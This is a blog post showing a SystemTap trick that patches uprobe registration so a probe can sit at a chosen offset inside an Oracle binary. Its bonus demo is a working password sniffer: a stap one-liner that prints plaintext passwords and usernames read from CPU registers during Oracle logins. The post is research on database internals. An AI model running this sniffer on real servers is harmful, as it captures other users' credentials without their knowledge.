This is a trick i use to be able to put a systemtap probe at specific function offset in an oracle executable.That mean beside function entry and exit we can also probe at a specific offset such as “r0_aes_cbc_loop_dec_x86_intel+224”. Although this can be easily done using perf (perf probe -oracle r0_aes_cbc_loop_dec_x86_intel+224) or ftrace it seem not possible to do that using systemtap due to the lack of debuginfo .
This can be useful as a workaround for the error “registration error (rc 0)” described here or for other purpose !
Here is the systemtap script :
stap -g -v func_offset.stp oracle_exec_inode probe_function_address s_offset
This script will fire for uprobe_register (inode, c->offset , &c->consumer) and uprobe_unregister (inode, c->offset , &c->consumer) and if the inode argument is the same as the oracle executable oracle_exec_inode it will check if c->offset is the same as our target function probe_function_address if this is the case it will add the specified offset s_offset else it will add +2 (Next instruction) as a workaround for “registration error (rc 0)”
probe kernel.function("uprobe_register"),kernel.function("uprobe_unregister") { if( $inode->i_ino == $1) { if ($offset == $2 ) { printf("Patching special offset at %x\n", $offset); $offset = $offset + $3; } else { printf("Patching offset at %x\n", $offset); $offset = $offset + 2; } } }
DOWNLOAD : func_offset.stp
Here is a DEMO (BONUS) : a simple user/password sniffer
Test env : oracle 18c/OEL6/UEK4/stap 3.1
Let’s check our oracle inode number :
[root@svltest stp]# ls -i “/app/home18c/bin/oracle”
2764341 /app/home18c/bin/oracle
Based on my last blog post “Oracle getting anyone’s password” i identified my target function “r0_aes_cbc_loop_dec_x86_intel” offset +224 and the register RSI
Now our function address :
[root@svltest stp]# nm /app/home18c/bin/oracle | grep -i r0_aes_cbc_loop_dec_x86_intel
0000000005fe5830 T r0_aes_cbc_loop_dec_x86_intel
Subtract the base mapping address “0x400000” and we have 0x5be5830 .
The username will be extracted from the function “kziaia” register RDI
And That’s it ! In your first session run this script :
stap -g -v func_offset.stp 2764341 0x5be5830 224
In the second one run you password sniffer 🙂
stap -v -e ' probe process("oracle").function("r0_aes_cbc_loop_dec_x86_intel") { printf("Pass sniff : %s \n", user_string(register("rsi")) )} probe process("oracle").function("kziaia") { printf("User : %s\n",user_string(register("rdi"))) } '
That’s it catch them all 🙂
[…] UPDATE : Here is another example using systemtap in this case (It’s in the BONUS part a simple user/password sniffer 🙂 ) systemtap probe at specific oracle function offset + BONUS […]